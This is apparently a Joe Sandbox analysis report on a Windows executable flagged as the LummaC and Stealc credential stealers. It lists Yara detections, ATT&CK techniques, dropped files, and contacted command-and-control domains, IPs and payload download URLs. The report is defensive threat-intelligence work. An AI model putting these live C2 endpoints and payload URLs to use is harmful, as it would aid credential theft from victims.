Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior

Source: C:\Users\user\Desktop\Y41xQGmT37.exe

Directory queried: number of queries: 1001

Source: Yara match

File source: Process Memory Space: Y41xQGmT37.exe PID: 1004, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Y41xQGmT37.exe PID: 1004, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 0000000A.00000002.1687877446.0000000000351000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1689307962.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1627002397.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PSWNUEKNC3FPT2DCN2C27VPRVU.exe PID: 7708, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	41 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	2 Bypass User Account Control	361 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	361 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Y41xQGmT37.exe	61%	ReversingLabs	Win32.Trojan.StealC
Y41xQGmT37.exe	54%	Virustotal		Browse
Y41xQGmT37.exe	100%	Avira	TR/Crypt.XPACK.Gen
Y41xQGmT37.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.16/off/def.exe;d	0%	Avira URL Cloud	safe
https://grannyejh.lat/apitone	100%	Avira URL Cloud	malware
https://grannyejh.lat/apimn	100%	Avira URL Cloud	malware
https://grannyejh.lat/L	100%	Avira URL Cloud	malware
http://185.215.113.16/6	0%	Avira URL Cloud	safe
https://grannyejh.lat/k	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
grannyejh.lat	104.21.64.80	true	false		high
sweepyribs.lat	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
necklacebudi.lat	false	high
aspecteirs.lat	false	high
sweepyribs.lat	false	high
sustainskelet.lat	false	high
crosshuaht.lat	false	high
rapeflowwj.lat	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
energyaffai.lat	false	high
https://grannyejh.lat/api	false	high
grannyejh.lat	false	high
discokeyus.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Y41xQGmT37.exe, 00000000.00000003.1303740437.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303814101.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303686951.00000000058FF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Y41xQGmT37.exe, 00000000.00000003.1303740437.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303814101.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303686951.00000000058FF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Y41xQGmT37.exe, 00000000.00000003.1303740437.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303814101.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303686951.00000000058FF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apitone	Y41xQGmT37.exe, 00000000.00000003.1327174091.00000000058BB000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1327259715.00000000058BD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpm	PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/ws	PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe;d	Y41xQGmT37.exe, 00000000.00000003.1521372409.00000000058BB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grannyejh.lat:443/api	Y41xQGmT37.exe, 00000000.00000003.1414741299.0000000001129000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	Y41xQGmT37.exe, 00000000.00000003.1349498615.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Y41xQGmT37.exe, 00000000.00000003.1349498615.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Y41xQGmT37.exe, 00000000.00000003.1303740437.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303814101.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303686951.00000000058FF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apimn	Y41xQGmT37.exe, 00000000.00000003.1438308547.00000000010CB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/A	PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	Y41xQGmT37.exe, 00000000.00000003.1350819039.00000000059D0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/H	PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exeS	Y41xQGmT37.exe, 00000000.00000003.1521447129.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16:80/steam/random.exe	Y41xQGmT37.exe, 00000000.00000003.1521156032.0000000001110000.00000004.00000020.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1521203468.000000000111B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Y41xQGmT37.exe, 00000000.00000003.1303740437.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303814101.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303686951.00000000058FF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/	Y41xQGmT37.exe, 00000000.00000003.1438202038.0000000001137000.00000004.00000020.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1414741299.0000000001137000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	Y41xQGmT37.exe, 00000000.00000003.1377008854.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Y41xQGmT37.exe, 00000000.00000003.1303740437.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303814101.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303686951.00000000058FF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/L	Y41xQGmT37.exe, 00000000.00000003.1438202038.0000000001137000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	Y41xQGmT37.exe, 00000000.00000003.1349498615.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/	PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	Y41xQGmT37.exe, 00000000.00000003.1349498615.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php-	PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Y41xQGmT37.exe, 00000000.00000003.1303740437.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303814101.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303686951.00000000058FF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php1	PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Y41xQGmT37.exe, 00000000.00000003.1350819039.00000000059D0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	Y41xQGmT37.exe, 00000000.00000003.1303740437.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303814101.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303686951.00000000058FF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/	Y41xQGmT37.exe, 00000000.00000003.1520789928.0000000001137000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/6	Y41xQGmT37.exe, 00000000.00000003.1520789928.0000000001137000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpA	PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Y41xQGmT37.exe, 00000000.00000003.1349498615.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	Y41xQGmT37.exe, 00000000.00000003.1377008854.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/k	Y41xQGmT37.exe, 00000000.00000003.1438202038.0000000001137000.00000004.00000020.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1414741299.0000000001137000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	Y41xQGmT37.exe, 00000000.00000003.1377008854.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206	PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Y41xQGmT37.exe, 00000000.00000003.1303740437.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303814101.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303686951.00000000058FF000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.64.80	grannyejh.lat	United States	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578078
Start date and time:	2024-12-19 08:39:23 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Y41xQGmT37.exe renamed because original name is a hash value
Original Sample Name:	ffd3e08783983aa539d8056c4a45755a.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@2/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.245.163.56
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target PSWNUEKNC3FPT2DCN2C27VPRVU.exe, PID 7708 because there are no executed function
Execution Graph export aborted for target Y41xQGmT37.exe, PID 1004 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:40:18	API Interceptor	35x Sleep call for process: Y41xQGmT37.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.64.80	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse
	661fW9gxDp.exe	Get hash	malicious	LummaC	Browse
	S6oj0LoSiL.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse
	tdMnK5A1pe.exe	Get hash	malicious	LummaC	Browse
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse
185.215.113.206	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206/c4becf79229cb002.php
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	185.215.113.206/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
grannyejh.lat	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	661fW9gxDp.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	S6oj0LoSiL.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.179.109
	469oyXQbRY.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	172.67.179.109
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.64.80
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	661fW9gxDp.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	bPkG0wTVon.exe	Get hash	malicious	Unknown	Browse	104.16.184.241
	66776676676.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	S6oj0LoSiL.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	pM3fQBuTLy.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	dlhost.exe	Get hash	malicious	XWorm	Browse	104.20.4.235
	c2A6GRyAwn.dll	Get hash	malicious	Nitol	Browse	104.21.42.47
	script.hta	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
WHOLESALECONNECTIONSNL	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	661fW9gxDp.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	S6oj0LoSiL.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	SEPTobn3BR.exe	Get hash	malicious	Remcos, DBatLoader	Browse	104.21.64.80
	Delivery Confirmation Forms - Contact Form TS4047117 pdf.exe	Get hash	malicious	DBatLoader, FormBook	Browse	104.21.64.80
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.64.80
